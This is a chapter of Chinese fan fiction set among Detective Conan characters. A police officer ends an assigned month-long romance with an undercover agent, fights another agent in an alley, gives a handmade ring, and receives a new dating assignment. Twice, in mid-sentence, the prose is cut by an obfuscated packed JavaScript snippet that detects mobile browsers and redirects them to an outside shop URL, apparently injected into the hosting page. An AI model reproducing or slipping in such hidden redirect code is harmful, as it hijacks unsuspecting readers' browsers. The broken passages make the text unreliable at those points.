前一晚没加班,本以为今天节奏要更紧凑一些,隔壁工位的忍足警官看到他桌上的文书帮他处理了部分,说是蹭早餐的答谢。 一之羽巡赶在午休之前把案子搞定提交,带着准备好的东西飞奔出去找苏格兰。 今天是恋爱的最后一天,势必站好最后一班岗,不能出任何差错。 一之羽巡在约好见面的地方等了半个小时,苏格兰迟迟没现身,他干脆给苏格兰发了条短信,去附近的甜品店点了份甜品,坐着继续等。 苏格兰的工作很复杂又危险,临时有事修改计划很正常,他总不至于连这个都不能体谅。 不过最近修改的频率是不是有些高了?他的确不在意苏格兰迟到,但他会在意苏格兰那边的工作是不是出了差错。 一之羽巡单手托着下巴看店外,猜测苏格兰这次会从哪个方向来,苏格兰很谨慎,每次都会选择不同路线。 不远处的店员问:“一之羽警官,我们研发了新品哦,要尝尝看吗?” “又有新品了吗?真厉害啊。”一之羽巡转头笑着说:“麻烦帮我打包一份吧,我带回去吃。” 起身去付钱时,他动作一顿。 甜品店外,一辆熟悉的古董车平稳驶过。 降下的车窗随着行驶缓缓升起,隔着一段距离,看不清车内情景,只能依稀看到后座坐了一个人。 云层散开,阳光洒下来,在车窗彻底闭合前,一之羽巡捕捉到了一抹银色。 很模糊,可能只是错觉,但一之羽巡还是刹那间绷紧肌肉追了出去。 “不用找了!” “一之羽警官——你的蛋糕?!” “我一会儿回来拿!” 一之羽巡站在甜品店门口左右快速看了一遍,结合这一带的地图迅速作出判断,左拐抄小路。 警察厅附近车流稀疏,一些早年间的小路四通八达,只有熟悉周边的人才能摸清,比起拦一辆车去追的成功概率,不如发挥优势取捷径试试。 寂静阴冷的巷子里几乎只有他的呼吸声和奔跑声,隐约能听到汽车引擎声时,一之羽巡再度加快了脚步。 和他猜的一样。 对附近不熟又想太引人注目,果然会选那条路—— 就在即将追出巷子的那一刻,一道陌生的声音猝不及防在身后响起。 “警官,你在找什么啊?” 一之羽巡身体一僵,被迫停下,眼睁睁看着那辆神秘的古董车从巷口驶过。 “我劝你还是不要追下去比较好哦。” 一之羽巡沉着脸,缓缓转身,如他所想,比起人,更先看到的是迎面而来的漆黑的枪口。 失策了,他没带配枪。 悄无声息出现在身后的人拥有一头耀眼的金发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15462775|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,深色的皮肤在这个国家极其罕见,灰紫色的眸子流淌着危险的信号,但脸上仍旧笑容灿烂字符人畜无害的模样,语气轻快:“好奇心可是会害死猫的。” 一之羽巡平静道:“那辆车里的人是谁?” 金发青年看起来有些诧异,更多的是无奈:“这种时候,难道不是该先问我是谁吗?” 一之羽巡只是再次重复:“那是谁的车?” “警官,麻烦你搞清楚一点状况,以你现在的处境——喂?!” 好险! 降谷零躲开丝毫不讲情面的横扫连招,后撤几步,但手仍旧稳稳对准对面那人的头。 他在心中暗暗拉高警惕,表面仍旧从容自若:“你还真是不讲道理,真可惜,我认识一个很擅长缴械的人,想卸我的枪你还得再练练。不过看在苏……你识时务的份上,我姑且可以装作今天没见过你,不必太感谢。” 鬼知道这人怎么会盯上琴酒,这可不是什么好玩的事。 要不是他看琴酒任务后走得急不太符合常理,跟踪过来正好撞见,谁知道这家伙还会做出什么事来。 “假装没见过我?谢谢,不过不必了。” 降谷零挑眉:“……哦?” 一之羽巡看着地面,缓缓吐出一口气,活动了一下脖子,抬起头,露出了一个温和的笑容——虽然配上他的脸,那个笑容看着大概率更像挑衅。 “因为我可不准备装作今天没见过你……这位先生,可以让我检查一下你的持枪证吗?” …… “我只是说他缴械没你强又没说他缴械不行,结果他偏让我点评一下他格斗水平,我放了两枪想让他知难而退,他又开始抢枪,一副不把枪缴下来就不罢休的模样……你不是说他很沉稳吗?!” 诸伏景光笑容尴尬,继续低头帮好友处理伤口。 降谷零也没真生气,也就在这位友人面前他才能像这样放纵情绪一二,吐槽结束,他开始说正事:“你一会儿还要去他家打卡?” 诸伏景光点头:“最后一天还是谨慎一些为好,而且已经连着两次爽约了,得当面道歉……还有,他这次跟踪琴酒的事我也有点在意。” “琴酒怎么回事,最近临时给你派任务的频率也太高了,有的事情根本不需要你去做吧。” “还不清楚,我没得罪过他才对。” “莫名奇妙,你接下来小心一些,我帮你查一下。”降谷零不小心牵动了脸上的伤,“嘶”了一声,捂着脸继续说:“……那个一之羽巡,我可没输给他。” “是是……” 诸伏景光很快就知道好友嘴里的自己没输是什么意思。 他看着盯着眼角青一块紫一块的恋人,顿悟了。 ……这两人谁都没输,但谁都没赢。 自己人打自己人,本来就不会有赢家。 “说了很多次了,不要爬窗,很危险。” 一之羽巡一看苏格兰的表情就知道他要说什么,抢先道:“翻阳台也一样!” 诸伏景光:“阳台上的小番茄熟了。” “……这样转移话题未免也太生硬了吧。”一之羽巡起身,“吃晚饭了吗?我去给你份煮宵夜。” “不用,我吃过了。” 虽然说了不用,但一之羽巡还是去打开厨房的灯,从冰箱里翻找起食材。 诸伏景光不确定是不是被对方看穿了自己其实并没吃晚饭。 他站在厨房门口,没进去,看着那个系着围裙的背影,“巡,你今天似乎心情很不错?” “有这么明显吗?”一之羽巡忍不住勾了下唇,不小心牵动了嘴角的伤口,但不影响他用手背按着脸颊继续说:“发现了点儿有趣的东西。” 诸伏景光:“……” 他指的最好不是跟踪琴酒。 也最好别是跟波本打架。 17.017 “别站着了,去沙发休息一下吧,或者去卧室里躺一会儿,我这边很快就弄好。” “我不累。”诸伏景光靠在门框旁,烟火气明明让视线变得模糊,他却觉得让那个人的背影变得更加清晰可见了,他说:“我想在这里看着你。” “好吧好吧。”一之羽巡洗着菜,突然想起什么,转头说:“茶几上有个小盒子,是给你的,你去看看吧。” 诸伏景光原本还在想这是不是把他支走的话术,但回到客厅,茶几上真的放着一个小小的盒子,上面系着条蓝色的丝带,不太像那人一贯的风格。 他小心地拆开丝带,打开盒子,一愣。 一之羽巡的声音从厨房传出来:“是我自己做的,有点粗糙……本来是想找个更正式的场合的。” 一之羽巡把宵夜装盘摆好,迟迟没有等到苏格兰的回应,从厨房门口头探头看了一眼。 苏格兰坐在沙发上,盯着手里的东西发呆,仿佛要把不到巴掌大的盒子看出花来。 ……有那么丑吗? 亲手制作戒指,最初预约的是双人项目,但让苏格兰在警察厅附近的店停留超过两小时实在强人所难,他干脆自己找时间去了一趟。原本是要留作秘密武器,拿来引导苏格兰彻底入戏,但还没等他付诸行动,苏格兰就已经独自把问题解决,这枚戒指自然也就用不上了。 经忍足警官提醒,他想到可以把这枚戒指当成礼物送给苏格兰,稍微弥补自己从未主动去见苏格兰的失职——虽然他完全不理解一枚甚至算不上精致的戒指怎么就有那么大作用,但忍足警官坚持让他送出去。 死马当活马医,奈何苏格兰最近总是有事,仪式感一再被破坏。 现在来看,其实也不是非送不可,不过这个任务已经临近尾声,今晚再不送出去,为了做戒指而被抵扣的两个小时加班时间就失去了意义。 而且他真的觉得这枚戒指做的不错,苏格兰不要的话他可以留着做个挂坠或者钥匙扣。 “苏格兰,来吃饭吧。” 诸伏景光把戒指小心翼翼地放回盒子里,起身时目光还落在那个小盒子上:“你亲手做的……为了我吗?” 一之羽巡把碗筷摆好,头也不抬道:“当然。” 苏格兰一定和他一样觉得这种礼物没什么意义,隔了好一会儿才回答:“谢谢,我很喜欢。” 今晚的宵夜是素面,碗里卧着两个煎蛋,配菜是酱牛肉和一道白灼青菜,卖相很不错,味道同样如此。 诸伏景光自诩厨艺不错,让他来评价的话,一之羽巡的厨艺算是中上,是那种只要有菜谱就可以做出来味道卖相都过关的菜的类型,本身对吃这方面基本没什么经验和特殊心得,但胜在会严格遵守菜谱上的每一个步骤,决不灵机一动之下往锅里多加或少加一味料。 他们吃饭时都很安静,几乎不太说话。起初为了了解不熟悉的恋爱对象,两人都总是刻意挑起话题,聊一些有的没的互相试探,后来都对对方有了一定概念都安静下来,反而感觉距离被拉近了。 吃过宵夜,诸伏景光主动承担了洗碗的工作,转身打开橱柜时,余光中发觉,一之羽巡也像自己刚刚看他煮宵夜时那样靠在厨房门口注视自己。 他的视线触及那张脸上的伤。 他刚到的时候房间里有浅浅的消毒水味,应该才处理完伤口不久。 他知道一之羽巡很擅长做这个,之前按着他帮他处理崩开的伤口时提到过,因为进入警校前没有格斗经验,想方设法提升自己,那段时间受伤就成了家常便饭,也练就了一双擅长处理外伤的手。 微凉的水从指缝划过,冲去碗碟上的泡沫,哗哗的水流声中,诸伏景光听到自己问:“你脸上的伤……?” 背后不远处那人轻描淡写道:“小伤而已,不必在意。” 没留继续问下去的空间。 但涉及组织,他不得不问。 “是在什么工作里伤到的吗?” “算是突发状况。” “突发状况吗?什——” 一道突兀的铃声响起,打断了诸伏景光的声音。 “是我的闹钟。”一之羽巡笑着解释,仿佛松了口气,“零点了。” 诸伏景光点点头,“你刚刚说的突发状况是指……” 一之羽巡再次重复:“过了零点了。” 诸伏景光不解。 一之羽巡自言自语:“果然是体验派啊……” 他走进厨房,在苏格兰困惑的目光中关掉水龙头,提醒:“我们的任务已经结束了,谢谢这段时间的配合,你真的很专业。” 诸伏景光下意识地也回了一句:“你也是,非常感谢。” 他忽略这个插曲,接上刚刚的话题:“所以,你的伤……” “……”一之羽巡摘下眼镜,捏了捏鼻梁。 他挺喜欢这副眼镜的,帮他抵消了不少外貌带来的负面影响,可惜他并不是很喜欢眼镜压着鼻梁的感觉。 但他还是一直戴着,毕竟一个合格的恋人不会敷衍对待一份精挑细选特意送来的礼物。 “任务结束了。”他又说了一遍。 诸伏景光突然反应过来那句话中的提醒之意。 果然,面前那个黑发青年露出了一个微笑,礼貌且疏离:“我想,我现在并没有义务回答你的问题。” “当然,如果你不介意回答我的问题的话,那我很乐意跟你交换情报。开诚布公地讲,其实你知道中午都发生了什么,对吧?” 诸伏景光张了张口,终于找回自己的声音:“你怎么知道的?” 一之羽巡为这位客人递了张纸巾擦手:“否则你见到我的时候,第一反应就会是问我脸上的伤,而不是阳台上的什么小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15462776|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番茄了。” 诸伏景光哑然。 他静止了整整半分钟,还是没能把面前这个口吻冷淡的人跟那个从第一面开始就温柔和煦的青年对上号。 他眉头微微蹙起:“这不是你该插手的事,巡。” 话一出口,他又意识到自己没转换过来称呼,道了声歉:“抱歉,一之羽君。” 明明叫错了名字,一之羽巡的表情却和缓了几分,像一位年长者一样轻轻拍了拍他的肩膀。 “名字只是一个代号,用不用敬语无所谓。你真的很专业,这一点上,我对你十分钦佩。” 诸伏景光知道零点后的自己已经无法撬动一之羽巡的嘴,他看着那双墨染黑似的眸子,开口:“……谢谢。一之羽君,你也是。” “阳台上的小番茄熟了,喜欢的话你一会儿可以摘几个。” 一之羽巡的语气很温和,听起来和他第一次来这间公寓时细心嘱咐防止伤口发炎的注意事项时一模一样,“不过要小心,从阳台翻出去的时候,不要碰掉楼下邻居晾的被子。” …… “以上,就是关于这次任务的全部汇报。” 飞鸟长官点头,面露赞赏:“真不愧是一之羽,果然名不虚传。” “您谬赞了。” “接下来有两个新任务交给你。” 一之羽巡眼睛一亮。 触发新任务了?还是两个? 红方首领就是不一样,出手阔绰! “某位卧底搜查官的联络人近期出了问题,现在急需一个能信得过的人手,从能力和立场综合考虑,我觉得你能够胜任这份工作。” “我会尽自己所能。” 等了一会儿,迟迟没等到下文,一之羽巡问:“那第二个任务是?” 飞鸟长官露出了一个古怪的笑容,从抽屉里拿出一张照片,倒扣在桌面上推过来。 熟悉的办公室,熟悉的茶杯,熟悉的红方首领,熟悉的京都宇治特级玉露,熟悉的情景,唯一不同的是,被递到面前的照片上的人变了。 他当然能认出上面那人的脸,但声音还是有些迟疑:“……机动队的松田警官?” 飞鸟长官双手交叉,看起来十分从容,“你们认识,我就不多加介绍了。” 随着那位儒雅的警察厅长官的笑容真切了几分,一之羽巡突然有一种不妙的预感。 “第二个任务是,和松田阵平恋爱一个月。” 办公室内寂静的整整一分钟后,一之羽巡放下松田阵平的照片,由衷感叹:“比起这个任务的缘由,我现在更好奇您是怎么说服松田警官的,我真的很难想象以他的个性会同意配合我执行这个任务。” “你考虑得很周全,确实如此。” 飞鸟长官一脸赞许:“所以他不会配合你,接下来辛苦了。” 一之羽巡:?